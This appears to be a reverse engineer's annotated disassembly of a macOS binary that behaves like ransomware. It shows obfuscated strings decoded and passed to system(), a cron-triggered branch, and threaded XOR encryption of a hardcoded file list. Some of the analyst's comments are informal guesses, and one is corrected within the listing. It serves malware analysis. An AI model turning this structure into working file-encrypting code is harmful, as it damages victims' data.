- │ ││││││ 0x10000151b 48b8b690bb4b. movabs rax, 0x1f74871e4bbb90b6
- │ ││││││ 0x100001525 48898500c9ff. mov qword [local_3700h], rax
- │ ││││││ 0x10000152c c68508c9ffff. mov byte [local_36f8h], 0
- │ ││││││ 0x100001533 488dbd20c7ff. lea rdi, [local_38e0h] ; const void *ptr
- │ ││││││ 0x10000153a be01000000 mov esi, 1 ; size_t size
- │ ││││││ 0x10000153f bae9010000 mov edx, 0x1e9 ; size_t nitems
- │ ││││││ 0x100001544 4889d9 mov rcx, rbx ; FILE *stream
- │ ││││││ 0x100001547 e846130000 call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
- │ ││││││ 0x10000154c 4889df mov rdi, rbx ; FILE *stream
- │ ││││││ 0x10000154f e814130000 call sym.imp.fclose ; int fclose(FILE *stream)
- │ ││││││ 0x100001554 0f2805751900. movaps xmm0, xmmword [0x100002ed0] ; [0x100002ed0:16]=-1
- │ ││││││ 0x10000155b 0f298510b9ff. movaps xmmword [local_46f0h], xmm0
- │ ││││││ 0x100001562 0f2805771900. movaps xmm0, xmmword [0x100002ee0] ; [0x100002ee0:16]=-1
- │ ││││││ 0x100001569 0f298520b9ff. movaps xmmword [local_46e0h], xmm0
- │ ││││││ 0x100001570 0f2805791900. movaps xmm0, xmmword [0x100002ef0] ; [0x100002ef0:16]=-1
- │ ││││││ 0x100001577 0f298530b9ff. movaps xmmword [local_46d0h], xmm0
- │ ││││││ 0x10000157e 0f28057b1900. movaps xmm0, xmmword [0x100002f00] ; [0x100002f00:16]=-1
- │ ││││││ 0x100001585 0f298540b9ff. movaps xmmword [local_46c0h], xmm0
- │ ││││││ 0x10000158c 0f28057d1900. movaps xmm0, xmmword [0x100002f10] ; [0x100002f10:16]=-1
- │ ││││││ 0x100001593 0f298550b9ff. movaps xmmword [local_46b0h], xmm0
- │ ││││││ 0x10000159a 48b87b93ead5. movabs rax, 0x8ae29679d5ea937b
- │ ││││││ 0x1000015a4 48898560b9ff. mov qword [local_46a0h], rax
- │ ││││││ 0x1000015ab c78568b9ffff. mov dword [local_4698h], 0xf7b29679
- │ ││││││ 0x1000015b5 c6856cb9ffff. mov byte [local_4694h], 0
- │ ││││││ 0x1000015bc 488dbd10b9ff. lea rdi, [local_46f0h]
- │ ││││││ 0x1000015c3 e868090000 call func.homemade.decode_buffer
- │ ││││││ 0x1000015c8 4889c1 mov rcx, rax
- │ ││││││ 0x1000015cb 488d9d20c7ff. lea rbx, [local_38e0h]
- │ ││││││ 0x1000015d2 31f6 xor esi, esi ; const char*
- │ ││││││ 0x1000015d4 ba00040000 mov edx, 0x400 ; ...
- │ ││││││ 0x1000015d9 31c0 xor eax, eax
- │ ││││││ 0x1000015db 4889df mov rdi, rbx ; char *s
- │ ││││││ 0x1000015de 4d89e0 mov r8, r12
- │ ││││││ 0x1000015e1 4d89e1 mov r9, r12
- │ ││││││ 0x1000015e4 e83d120000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││││││ 0x1000015e9 4889df mov rdi, rbx ; const char * string
- │ ││││││ 0x1000015ec e80d130000 call sym.imp.system ; int system(const char *string)
- │ ││││││ 0x1000015f1 0f2805281500. movaps xmm0, xmmword [0x100002b20] ; [0x100002b20:16]=-1
- │ ││││││ 0x1000015f8 0f2985b0f7ff. movaps xmmword [local_850h], xmm0
- │ ││││││ 0x1000015ff c685c0f7ffff. mov byte [local_840h], 0
- │ ││││││ 0x100001606 488dbdb0f7ff. lea rdi, [local_850h]
- │ ││││││ 0x10000160d e81e090000 call func.homemade.decode_buffer
- │ ││││││ 0x100001612 4989c7 mov r15, rax
- │ ││││││ 0x100001615 0f2805141500. movaps xmm0, xmmword [0x100002b30] ; [0x100002b30:16]=-1
- │ ││││││ 0x10000161c 0f298590f7ff. movaps xmmword [local_870h], xmm0
- │ ││││││ 0x100001623 48b837d5f1b6. movabs rax, 0x83f7d33eb6f1d537
- │ ││││││ 0x10000162d 488985a0f7ff. mov qword [local_860h], rax
- │ ││││││ 0x100001634 66c785a8f7ff. mov word [local_858h], 0x73 ; 's'
- │ ││││││ 0x10000163d 488dbd90f7ff. lea rdi, [local_870h]
- │ ││││││ 0x100001644 e8e7080000 call func.homemade.decode_buffer
- │ ││││││ 0x100001649 4889c1 mov rcx, rax
- │ ││││││ 0x10000164c 4883ec08 sub rsp, 8
- │ ││││││ 0x100001650 31f6 xor esi, esi ; const char*
- │ ││││││ 0x100001652 ba00040000 mov edx, 0x400 ; ...
- │ ││││││ 0x100001657 41b92f000000 mov r9d, 0x2f ; '/' ; "ERO"
- │ ││││││ 0x10000165d 31c0 xor eax, eax
- │ ││││││ 0x10000165f 4c89ef mov rdi, r13 ; char *s
- │ ││││││ 0x100001662 4d89f0 mov r8, r14
- │ ││││││ 0x100001665 6a2f push 0x2f ; '/' ; '/' ; "ERO"
- │ ││││││ 0x100001667 e8ba110000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││││││ 0x10000166c 4883c410 add rsp, 0x10
- │ ││││││ 0x100001670 48b87cc5bc94. movabs rax, 0x87b7c57c94bcc57c
- │ ││││││ 0x10000167a 48898583f7ff. mov qword [local_87dh], rax
- │ ││││││ 0x100001681 c7858bf7ffff. mov dword [local_875h], 0x83eadf35
- │ ││││││ 0x10000168b c6858ff7ffff. mov byte [local_871h], 0
- │ ││││││ 0x100001692 488dbd83f7ff. lea rdi, [local_87dh]
- │ ││││││ 0x100001699 e892080000 call func.homemade.decode_buffer
- │ ││││││ 0x10000169e 4889c1 mov rcx, rax
- │ ││││││ 0x1000016a1 4883ec08 sub rsp, 8
- │ ││││││ 0x1000016a5 488d9dd0f7ff. lea rbx, [local_830h]
- │ ││││││ 0x1000016ac 31f6 xor esi, esi ; const char*
- │ ││││││ 0x1000016ae ba00040000 mov edx, 0x400 ; ...
- │ ││││││ 0x1000016b3 41b92f000000 mov r9d, 0x2f ; '/' ; "ERO"
- │ ││││││ 0x1000016b9 31c0 xor eax, eax
- │ ││││││ 0x1000016bb 4889df mov rdi, rbx ; char *s
- │ ││││││ 0x1000016be 4d89e8 mov r8, r13
- │ ││││││ 0x1000016c1 4157 push r15
- │ ││││││ 0x1000016c3 e85e110000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││││││ 0x1000016c8 4883c410 add rsp, 0x10
- │ ││││││ 0x1000016cc 31f6 xor esi, esi
- │ ││││││ 0x1000016ce 4889df mov rdi, rbx
- │ ││││││ 0x1000016d1 e85c110000 call sym.imp.access
- │ ││││││ 0x1000016d6 85c0 test eax, eax
- │ ┌───────< 0x1000016d8 750c jne 0x1000016e6
- │ │││││││ 0x1000016da 488dbdd0f7ff. lea rdi, [local_830h]
- │ │││││││ 0x1000016e1 e86a090000 call func.homemade.pick_random_key ; int rand(void)
- │ └───────> 0x1000016e6 49bf7cc5b6d9. movabs r15, 0xb6dce406d9b6c57c
- │ ││││││ 0x1000016f0 4c89bd83f7ff. mov qword [local_87dh], r15
- │ ││││││ 0x1000016f7 c7858bf7ffff. mov dword [local_875h], 0xa8dcfb1d
- │ ││││││ 0x100001701 c6858ff7ffff. mov byte [local_871h], 0
- │ ││││││ 0x100001708 488dbd83f7ff. lea rdi, [local_87dh]
- │ ││││││ 0x10000170f e81c080000 call func.homemade.decode_buffer
- │ ││││││ 0x100001714 4889c1 mov rcx, rax
- │ ││││││ 0x100001717 31db xor ebx, ebx
- │ ││││││ 0x100001719 4c8db5d0fbff. lea r14, [local_430h]
- │ ││││││ 0x100001720 4c8d8580b9ff. lea r8, [local_4680h]
- │ ││││││ 0x100001727 be00000000 mov esi, 0 ; const char*
- │ ││││││ 0x10000172c ba00040000 mov edx, 0x400 ; ...
- │ ││││││ 0x100001731 31c0 xor eax, eax
- │ ││││││ 0x100001733 4c89f7 mov rdi, r14 ; char *s
- │ ││││││ 0x100001736 e8eb100000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││││││ 0x10000173b 66c785cdb8ff. mov word [local_4733h], 0x6272
- │ ││││││ 0x100001744 c685cfb8ffff. mov byte [local_4731h], 0
- │ ││││││ 0x10000174b 488db5cdb8ff. lea rsi, [local_4733h] ; const char*
- │ ││││││ 0x100001752 4c89f7 mov rdi, r14 ; const char * filename
- │ ││││││ 0x100001755 e81a110000 call sym.imp.fopen ; file*fopen(const char *filename,
- │ ││││││ 0x10000175a 4889c7 mov rdi, rax ; FILE *steam
- │ ││││││ 0x10000175d e80c110000 call sym.imp.fgetc ; int fgetc(FILE *steam)
- │ ││││││ 0x100001762 4189c6 mov r14d, eax
- │ ││││││ 0x100001765 4c89e7 mov rdi, r12
- │ ││││││ 0x100001768 e8e3080000 call func.homemade.pick_random_key ; int rand(void)
- │ ││││││ 0x10000176d 4183fe41 cmp r14d, 0x41 ; 'A' ; 'A'
- │ ││││││ 0x100001771 4d89fe mov r14, r15
- │ ┌───────< 0x100001774 0f857c020000 jne 0x1000019f6
- │ │││││││ 0x10000177a 0f28059f1700. movaps xmm0, xmmword [0x100002f20] ; [0x100002f20:16]=-1
- │ │││││││ 0x100001781 0f2985f0b8ff. movaps xmmword [local_4710h], xmm0
- │ │││││││ 0x100001788 c68500b9ffff. mov byte [local_4700h], 0
- │ │││││││ 0x10000178f 488dbdf0b8ff. lea rdi, [local_4710h]
- │ │││││││ 0x100001796 e895070000 call func.homemade.decode_buffer
- │ │││││││ 0x10000179b 4889c7 mov rdi, rax ; const char * string
- │ │││││││ 0x10000179e e85b110000 call sym.imp.system ; int system(const char *string)
- │ │││││││ 0x1000017a3 4c89b583f7ff. mov qword [local_87dh], r14
- │ │││││││ 0x1000017aa c7858bf7ffff. mov dword [local_875h], 0xa8dcfb1d
- │ │││││││ 0x1000017b4 c6858ff7ffff. mov byte [local_871h], 0
- │ │││││││ 0x1000017bb 488dbd83f7ff. lea rdi, [local_87dh]
- │ │││││││ 0x1000017c2 e869070000 call func.homemade.decode_buffer
- │ │││││││ 0x1000017c7 4889c1 mov rcx, rax
- │ │││││││ 0x1000017ca 4c8dbdd0fbff. lea r15, [local_430h]
- │ │││││││ 0x1000017d1 4c8d8580b9ff. lea r8, [local_4680h]
- │ │││││││ 0x1000017d8 be00000000 mov esi, 0 ; const char*
- │ │││││││ 0x1000017dd ba00040000 mov edx, 0x400 ; ...
- │ │││││││ 0x1000017e2 31c0 xor eax, eax
- │ │││││││ 0x1000017e4 4c89ff mov rdi, r15 ; char *s
- │ │││││││ 0x1000017e7 e83a100000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ │││││││ 0x1000017ec 66c785cdb8ff. mov word [local_4733h], 0x6272
- │ │││││││ 0x1000017f5 c685cfb8ffff. mov byte [local_4731h], 0
- │ │││││││ 0x1000017fc 488db5cdb8ff. lea rsi, [local_4733h] ; const char*
- │ │││││││ 0x100001803 4c89ff mov rdi, r15 ; const char * filename
- │ │││││││ 0x100001806 e869100000 call sym.imp.fopen ; file*fopen(const char *filename,
- │ │││││││ 0x10000180b 4989c4 mov r12, rax
- │ │││││││ 0x10000180e bf00040000 mov edi, 0x400 ; size_t nmeb
- │ │││││││ 0x100001813 be01000000 mov esi, 1 ; size_t size
- │ │││││││ 0x100001818 e827100000 call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size)
- │ │││││││ 0x10000181d 4989c6 mov r14, rax
- │ │││││││ 0x100001820 be01000000 mov esi, 1 ; size_t
- │ │││││││ 0x100001825 ba00040000 mov edx, 0x400 ; size_t
- │ │││││││ 0x10000182a 4c89f7 mov rdi, r14 ; void *ptr
- │ │││││││ 0x10000182d 4c89e1 mov rcx, r12 ; FILE *stream
- │ │││││││ 0x100001830 e84b100000 call sym.imp.fread ; size_t fread(void *ptr, FILE *stream)
- │ │││││││ 0x100001835 4c89e7 mov rdi, r12 ; FILE *stream
- │ │││││││ 0x100001838 e82b100000 call sym.imp.fclose ; int fclose(FILE *stream)
- │ │││││││ 0x10000183d 4c89ff mov rdi, r15 ; const char * filename
- │ │││││││ 0x100001840 e88f100000 call sym.imp.remove ; int remove(const char *filename)
- │ │││││││ 0x100001845 66662e0f1f84. nop word cs:[rax + rax]
- │ ────────> 0x100001850 e825100000 call sym.imp.fork
- │ │││││││ 0x100001855 85c0 test eax, eax
- │ ────────< 0x100001857 0f84be010000 je 0x100001a1b
- │ │││││││ 0x10000185d bf01000000 mov edi, 1 ; int s
- │ │││││││ 0x100001862 e873100000 call sym.imp.sleep ; int sleep(int s)
- │ │││││││ 0x100001867 ffc3 inc ebx
- │ │││││││ 0x100001869 81fb50c30000 cmp ebx, 0xc350
- │ ────────< 0x10000186f 7cdf jl 0x100001850
- │ ────────< 0x100001871 e980010000 jmp 0x1000019f6
- │ ││││└───> 0x100001876 0f2805931200. movaps xmm0, xmmword [0x100002b10] ; [0x100002b10:16]=-1 ; if argc == 1 (regular execution)
- │ ││││ ││ 0x10000187d 0f2985d0b8ff. movaps xmmword [local_4730h], xmm0
- │ ││││ ││ 0x100001884 c785e0b8ffff. mov dword [local_4720h], 0xf7a88060
- │ ││││ ││ 0x10000188e c685e4b8ffff. mov byte [local_471ch], 0
- │ ││││ ││ 0x100001895 488dbdd0b8ff. lea rdi, [local_4730h]
- │ ││││ ││ 0x10000189c e88f060000 call func.homemade.decode_buffer
- │ ││││ ││ 0x1000018a1 31f6 xor esi, esi ; char* *endptr
- │ ││││ ││ 0x1000018a3 ba0a000000 mov edx, 0xa ; int base
- │ ││││ ││ 0x1000018a8 4889c7 mov rdi, rax ; const char * str
- │ ││││ ││ 0x1000018ab e848100000 call sym.imp.strtol ; long strtol(const char *str, char**endptr, int base)
- │ ││││ ││ 0x1000018b0 4889c3 mov rbx, rax
- │ ││││ ││ 0x1000018b3 e816100000 call sym.imp.rand ; int rand(void)
- │ ││││ ││ 0x1000018b8 4183fe02 cmp r14d, 2
- │ ││││┌───< 0x1000018bc 0f8c34010000 jl 0x1000019f6
- │ │││││││ 0x1000018c2 4c63f8 movsxd r15, eax ; called from the crontab (or service scheduler or whatever the fuck); time to go
- │ │││││││ 0x1000018c5 4c0faffb imul r15, rbx
- │ │││││││ 0x1000018c9 b901000000 mov ecx, 1
- │ │││││││ 0x1000018ce 4c89ada0b8ff. mov qword [local_4760h], r13
- │ │││││││ 0x1000018d5 4489b5bcb8ff. mov dword [local_4744h], r14d
- │ │││││││ 0x1000018dc 0f1f4000 nop dword [rax]
- │ ────────> 0x1000018e0 4889a598b8ff. mov qword [local_4768h], rsp ; more number tests and shit.
- if there are 129 arguments?? I need to see what this writes to cron
- │ │││││││ 0x1000018e7 49c1e707 shl r15, 7
- │ │││││││ 0x1000018eb 4489f2 mov edx, r14d
- │ │││││││ 0x1000018ee 29ca sub edx, ecx
- │ │││││││ 0x1000018f0 81fa80000000 cmp edx, 0x80 ; rdx
- │ │││││││ 0x1000018f6 b880000000 mov eax, 0x80 ; rdx
- │ │││││││ 0x1000018fb 0f4fd0 cmovg edx, eax
- │ │││││││ 0x1000018fe 488995a8b8ff. mov qword [local_4758h], rdx
- │ │││││││ 0x100001905 4889d0 mov rax, rdx
- │ │││││││ 0x100001908 48c1e004 shl rax, 4
- │ │││││││ 0x10000190c 4889e3 mov rbx, rsp
- │ │││││││ 0x10000190f 4829c3 sub rbx, rax
- │ │││││││ 0x100001912 4889dc mov rsp, rbx
- │ │││││││ 0x100001915 4489f7 mov edi, r14d
- │ │││││││ 0x100001918 898dc0b8ffff mov dword [local_4740h], ecx
- │ │││││││ 0x10000191e 29cf sub edi, ecx
- │ ────────< 0x100001920 0f8eb1000000 jle 0x1000019d7
- │ │││││││ 0x100001926 48638dc0b8ff. movsxd rcx, dword [local_4740h] ; test passed
- │ │││││││ 0x10000192d 488b85a8b8ff. mov rax, qword [local_4758h]
- │ │││││││ 0x100001934 4c63e0 movsxd r12, eax
- │ │││││││ 0x100001937 488d4308 lea rax, [rbx + 8]
- │ │││││││ 0x10000193b 498d4ccd00 lea rcx, [r13 + rcx*8]
- │ │││││││ 0x100001940 31d2 xor edx, edx
- │ │││││││ 0x100001942 66666666662e. nop word cs:[rax + rax]
- │ ────────> 0x100001950 488b34d1 mov rsi, qword [rcx + rdx*8] ; interweave: argv[rdx], key, argv[x], key, etc...
- │ │││││││ 0x100001954 488970f8 mov qword [rax - 8], rsi
- │ │││││││ 0x100001958 4c8938 mov qword [rax], r15
- │ │││││││ 0x10000195b 48ffc2 inc rdx
- │ │││││││ 0x10000195e 4883c010 add rax, 0x10
- │ │││││││ 0x100001962 4c39e2 cmp rdx, r12
- │ ────────< 0x100001965 7ce9 jl 0x100001950
- │ │││││││ 0x100001967 85ff test edi, edi ; test against failure
- │ ────────< 0x100001969 7e6c jle 0x1000019d7
- │ │││││││ 0x10000196b 89bdb8b8ffff mov dword [local_4748h], edi
- │ │││││││ 0x100001971 4c8db520c7ff. lea r14, [local_38e0h]
- │ │││││││ 0x100001978 4531ed xor r13d, r13d
- │ │││││││ 0x10000197b 0f1f440000 nop dword [rax + rax]
- | ────────> ;-- Crypto:
- │ ────────> 0x100001980 31f6 xor esi, esi ; void *buf THIS is the crypto loop r12 now contains file count
- nevermind, I was bamboozled again. This reads a seemingly hardcoded list of files and encrypts them.
- │ │││││││ 0x100001982 4c89f7 mov rdi, r14 ; int fildes
- │ │││││││ 0x100001985 488d15d40700. lea rdx, func.homemade.encrypt_file_with_XOR ; 0x100002160 ; size_t nbyte
- │ │││││││ 0x10000198c 4889d9 mov rcx, rbx
- │ │││││││ 0x10000198f e82e0f0000 call sym.imp.pthread_create ; ssize_t read(int fildes, void *buf, size_t nbyte)
- │ │││││││ 0x100001994 49ffc5 inc r13
- │ │││││││ 0x100001997 4983c608 add r14, 8
- │ │││││││ 0x10000199b 4883c310 add rbx, 0x10
- │ │││││││ 0x10000199f 4d39e5 cmp r13, r12
- │ ────────< 0x1000019a2 7cdc jl 0x100001980
- │ │││││││ 0x1000019a4 83bdb8b8ffff. cmp dword [local_4748h], 0
- │ │││││││ 0x1000019ab 4c8bada0b8ff. mov r13, qword [local_4760h]
- │ │││││││ 0x1000019b2 448bb5bcb8ff. mov r14d, dword [local_4744h]
- │ ────────< 0x1000019b9 7e1c jle 0x1000019d7
- │ │││││││ 0x1000019bb 31db xor ebx, ebx
- │ │││││││ 0x1000019bd 0f1f00 nop dword [rax]
- │ ────────> 0x1000019c0 488bbcdd20c7. mov rdi, qword [rbp + rbx*8 - 0x38e0] ; int fildes
- │ │││││││ 0x1000019c8 31f6 xor esi, esi ; void *buf
- │ │││││││ 0x1000019ca e8f90e0000 call sym.imp.pthread_join ; ssize_t read(int fildes, void *buf, size_t nbyte)
- │ │││││││ 0x1000019cf 48ffc3 inc rbx
- │ │││││││ 0x1000019d2 4c39e3 cmp rbx, r12
- │ ────────< 0x1000019d5 7ce9 jl 0x1000019c0
- │ ────────> 0x1000019d7 488b85a8b8ff. mov rax, qword [local_4758h]
- │ │││││││ 0x1000019de 0385c0b8ffff add eax, dword [local_4740h]
- │ │││││││ 0x1000019e4 488ba598b8ff. mov rsp, qword [local_4768h]
- │ │││││││ 0x1000019eb 4439f0 cmp eax, r14d
- │ │││││││ 0x1000019ee 89c1 mov ecx, eax
- │ ────────< 0x1000019f0 0f8ceafeffff jl 0x1000018e0
- │ │││││││ ; JMP XREF from 0x100001871 (entry0)
- │ └───└───> 0x1000019f6 488b05031600. mov rax, qword [reloc.__stack_chk_guard_0] ; [0x100003000:8]=0
- │ │││ ││ 0x1000019fd 488b00 mov rax, qword [rax]
- │ │││ ││ 0x100001a00 483b45d0 cmp rax, qword [local_30h]
- │ │││┌───< 0x100001a04 0f8505010000 jne 0x100001b0f
- │ ││││││ 0x100001a0a 31c0 xor eax, eax
- │ ││││││ 0x100001a0c 488d65d8 lea rsp, [local_28h]
- │ ││││││ 0x100001a10 5b pop rbx
- │ ││││││ 0x100001a11 415c pop r12
- │ ││││││ 0x100001a13 415d pop r13
- │ ││││││ 0x100001a15 415e pop r14
- │ ││││││ 0x100001a17 415f pop r15
- │ ││││││ 0x100001a19 5d pop rbp
- │ ││││││ 0x100001a1a c3 ret
- │ ────────> 0x100001a1b 0f28050e1500. movaps xmm0, xmmword [0x100002f30] ; [0x100002f30:16]=-1
- │ ││││││ 0x100001a22 0f2985c0c1ff. movaps xmmword [local_3e40h], xmm0
- │ ││││││ 0x100001a29 0f2805101500. movaps xmm0, xmmword [0x100002f40] ; [0x100002f40:16]=-1
- │ ││││││ 0x100001a30 0f2985d0c1ff. movaps xmmword [local_3e30h], xmm0
- │ ││││││ 0x100001a37 c785e0c1ffff. mov dword [local_3e20h], 0x93bce906
- │ ││││││ 0x100001a41 c685e4c1ffff. mov byte [local_3e1ch], 0
- │ ││││││ 0x100001a48 488dbdc0c1ff. lea rdi, [local_3e40h]
- │ ││││││ 0x100001a4f e8dc040000 call func.homemade.decode_buffer
- │ ││││││ 0x100001a54 4889c1 mov rcx, rax
- │ ││││││ 0x100001a57 4c8dbdd0f7ff. lea r15, [local_830h]
- │ ││││││ 0x100001a5e be00000000 mov esi, 0 ; const char*
- │ ││││││ 0x100001a63 ba00040000 mov edx, 0x400 ; ...
- │ ││││││ 0x100001a68 31c0 xor eax, eax
- │ ││││││ 0x100001a6a 4c89ff mov rdi, r15 ; char *s
- │ ││││││ 0x100001a6d 4d89f0 mov r8, r14
- │ ││││││ 0x100001a70 4189d9 mov r9d, ebx
- │ ││││││ 0x100001a73 e8ae0d0000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││││││ 0x100001a78 4c89ff mov rdi, r15 ; const char * string
- │ ││││││ 0x100001a7b e87e0e0000 call sym.imp.system ; int system(const char *string)
- │ ││││││ 0x100001a80 0f2805c91400. movaps xmm0, xmmword [0x100002f50] ; [0x100002f50:16]=-1
- │ ││││││ 0x100001a87 0f298530efff. movaps xmmword [local_10d0h], xmm0
- │ ││││││ 0x100001a8e 0f2805cb1400. movaps xmm0, xmmword [0x100002f60] ; [0x100002f60:16]=-1
- │ ││││││ 0x100001a95 0f298540efff. movaps xmmword [local_10c0h], xmm0
- │ ││││││ 0x100001a9c 0f2805cd1400. movaps xmm0, xmmword [0x100002f70] ; [0x100002f70:16]=-1
- │ ││││││ 0x100001aa3 0f298550efff. movaps xmmword [local_10b0h], xmm0
- │ ││││││ 0x100001aaa 48b836c4e0d7. movabs rax, 0xbab9cf14d7e0c436
- │ ││││││ 0x100001ab4 48898560efff. mov qword [local_10a0h], rax
- │ ││││││ 0x100001abb c78568efffff. mov dword [local_1098h], 0xd0bbd538
- │ ││││││ 0x100001ac5 c6856cefffff. mov byte [local_1094h], 0
- │ ││││││ 0x100001acc 488dbd30efff. lea rdi, [local_10d0h]
- │ ││││││ 0x100001ad3 e858040000 call func.homemade.decode_buffer
- │ ││││││ 0x100001ad8 4889c1 mov rcx, rax
- │ ││││││ 0x100001adb 488d9d80f3ff. lea rbx, [local_c80h]
- │ ││││││ 0x100001ae2 31f6 xor esi, esi ; const char*
- │ ││││││ 0x100001ae4 ba00040000 mov edx, 0x400 ; ...
- │ ││││││ 0x100001ae9 31c0 xor eax, eax
- │ ││││││ 0x100001aeb 4889df mov rdi, rbx ; char *s
- │ ││││││ 0x100001aee 4d89f0 mov r8, r14
- │ ││││││ 0x100001af1 e8300d0000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││││││ 0x100001af6 4889df mov rdi, rbx ; const char * string
- │ ││││││ 0x100001af9 e8000e0000 call sym.imp.system ; int system(const char *string)
- │ ││││││ 0x100001afe 31ff xor edi, edi ; int status
- │ ││││││ 0x100001b00 e85d0d0000 call sym.imp.exit ; void exit(int status)
- │ ││││└└─> 0x100001b05 bfffffffff mov edi, 0xffffffff ; -1 ; int status if the time is wrong, or the decrypt failed for XYZ reason
- │ ││││ 0x100001b0a e8530d0000 call sym.imp.exit ; void exit(int status)
- │ │││└───> 0x100001b0f e8180d0000 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
- │ ││└────> 0x100001b14 0f57c0 xorps xmm0, xmm0 ; no home directory, delete everything in memory
- │ ││ 0x100001b17 0f298580b8ff. movaps xmmword [local_4780h], xmm0
- │ ││ 0x100001b1e 0f298570b8ff. movaps xmmword [local_4790h], xmm0
- │ ││ 0x100001b25 0f298560b8ff. movaps xmmword [local_47a0h], xmm0
- │ ││ 0x100001b2c 0f298550b8ff. movaps xmmword [local_47b0h], xmm0
- │ ││ 0x100001b33 0f298540b8ff. movaps xmmword [local_47c0h], xmm0
- │ ││ 0x100001b3a 0f298530b8ff. movaps xmmword [local_47d0h], xmm0
- │ ││ 0x100001b41 0f298520b8ff. movaps xmmword [local_47e0h], xmm0
- │ ││ 0x100001b48 0f298510b8ff. movaps xmmword [local_47f0h], xmm0
- │ ││ 0x100001b4f 0f298500b8ff. movaps xmmword [local_4800h], xmm0
- │ ││ 0x100001b56 488dbdd0fbff. lea rdi, [local_430h]
- │ ││ 0x100001b5d 488db500b8ff. lea rsi, [local_4800h]
- │ ││ 0x100001b64 e87d0d0000 call sym.imp.stat_INODE64
- │ ││ 0x100001b69 83f8ff cmp eax, 0xffffffffffffffff
- │ ││ ┌─< 0x100001b6c 7511 jne 0x100001b7f
- │ ││ │ 0x100001b6e 488dbdd0fbff. lea rdi, [local_430h]
- │ ││ │ 0x100001b75 bec0010000 mov esi, 0x1c0
- │ ││ │ 0x100001b7a e8310d0000 call sym.imp.mkdir
- │ ││ └─> 0x100001b7f 0f2805ba0f00. movaps xmm0, xmmword [0x100002b40] ; [0x100002b40:16]=-1
- │ ││ 0x100001b86 0f298550f3ff. movaps xmmword [local_cb0h], xmm0
- │ ││ 0x100001b8d 0f2805bc0f00. movaps xmm0, xmmword [0x100002b50] ; [0x100002b50:16]=-1
- │ ││ 0x100001b94 0f298560f3ff. movaps xmmword [local_ca0h], xmm0
- │ ││ 0x100001b9b 48b82099b7b1. movabs rax, 0x83cae90ab1b79920
- │ ││ 0x100001ba5 48898570f3ff. mov qword [local_c90h], rax
- │ ││ 0x100001bac c78578f3ffff. mov dword [local_c88h], 0xf7fcc436
- │ ││ 0x100001bb6 c6857cf3ffff. mov byte [local_c84h], 0
- │ ││ 0x100001bbd 488dbd50f3ff. lea rdi, [local_cb0h]
- │ ││ 0x100001bc4 e867030000 call func.homemade.decode_buffer
- │ ││ 0x100001bc9 488985c0b8ff. mov qword [local_4740h], rax
- │ ││ 0x100001bd0 0f2805890f00. movaps xmm0, xmmword [0x100002b60] ; [0x100002b60:16]=-1
- │ ││ 0x100001bd7 0f298530f3ff. movaps xmmword [local_cd0h], xmm0
- │ ││ 0x100001bde c78540f3ffff. mov dword [local_cc0h], 0x92ebd92d
- │ ││ 0x100001be8 c68544f3ffff. mov byte [local_cbch], 0
- │ ││ 0x100001bef 488dbd30f3ff. lea rdi, [local_cd0h]
- │ ││ 0x100001bf6 e835030000 call func.homemade.decode_buffer
- │ ││ 0x100001bfb 4889c1 mov rcx, rax
- │ ││ 0x100001bfe 4c8dad80f3ff. lea r13, [local_c80h]
- │ ││ 0x100001c05 be00000000 mov esi, 0 ; const char*
- │ ││ 0x100001c0a ba00040000 mov edx, 0x400 ; ...
- │ ││ 0x100001c0f 31c0 xor eax, eax
- │ ││ 0x100001c11 4c89ef mov rdi, r13 ; char *s
- │ ││ 0x100001c14 4d89f0 mov r8, r14
- │ ││ 0x100001c17 e80a0c0000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││ 0x100001c1c 48b834c0b9d0. movabs rax, 0xd7bec57cd0b9c034
- │ ││ 0x100001c26 48898523efff. mov qword [local_10ddh], rax
- │ ││ 0x100001c2d c7852befffff. mov dword [local_10d5h], 0xd0ea937e
- │ ││ 0x100001c37 c6852fefffff. mov byte [local_10d1h], 0
- │ ││ 0x100001c3e 488dbd23efff. lea rdi, [local_10ddh]
- │ ││ 0x100001c45 e8e6020000 call func.homemade.decode_buffer
- │ ││ 0x100001c4a 4889c1 mov rcx, rax
- │ ││ 0x100001c4d 488d9d30efff. lea rbx, [local_10d0h]
- │ ││ 0x100001c54 31f6 xor esi, esi ; const char*
- │ ││ 0x100001c56 ba00040000 mov edx, 0x400 ; ...
- │ ││ 0x100001c5b 31c0 xor eax, eax
- │ ││ 0x100001c5d 4889df mov rdi, rbx ; char *s
- │ ││ 0x100001c60 4d89e0 mov r8, r12
- │ ││ 0x100001c63 4d89e9 mov r9, r13
- │ ││ 0x100001c66 e8bb0b0000 call sym.imp.__sprintf_chk ; int sprintf(char *s,
- │ ││ 0x100001c6b 4889df mov rdi, rbx ; const char * string
- │ ││ 0x100001c6e e88b0c0000 call sym.imp.system ; int system(const char *string)
- │ ││ 0x100001c73 4c89ef mov rdi, r13
- │ ││ 0x100001c76 e8050b0000 call ls_dir_recursive
- │ ││ 0x100001c7b 0f2805ee0e00. movaps xmm0, xmmword [0x100002b70] ; [0x100002b70:16]=-1
- │ ││ 0x100001c82 0f2985c0c5ff. movaps xmmword [local_3a40h], xmm0
- │ ││ 0x100001c89 0f2805f00e00. movaps xmm0, xmmword [0x100002b80] ; [0x100002b80:16]=-1
- │ ││ 0x100001c90 0f2985d0c5ff. movaps xmmword [local_3a30h], xmm0
- │ ││ 0x100001c97 0f2805f20e00. movaps xmm0, xmmword [0x100002b90] ; [0x100002b90:16]=-1
- │ ││ 0x100001c9e 0f2985e0c5ff. movaps xmmword [local_3a20h], xmm0
- │ ││ 0x100001ca5 0f2805f40e00. movaps xmm0, xmmword [0x100002ba0] ; [0x100002ba0:16]=-1
- │ ││ 0x100001cac 0f2985f0c5ff. movaps xmmword [local_3a10h], xmm0
- │ ││ 0x100001cb3 0f2805f60e00. movaps xmm0, xmmword [0x100002bb0] ; [0x100002bb0:16]=-1
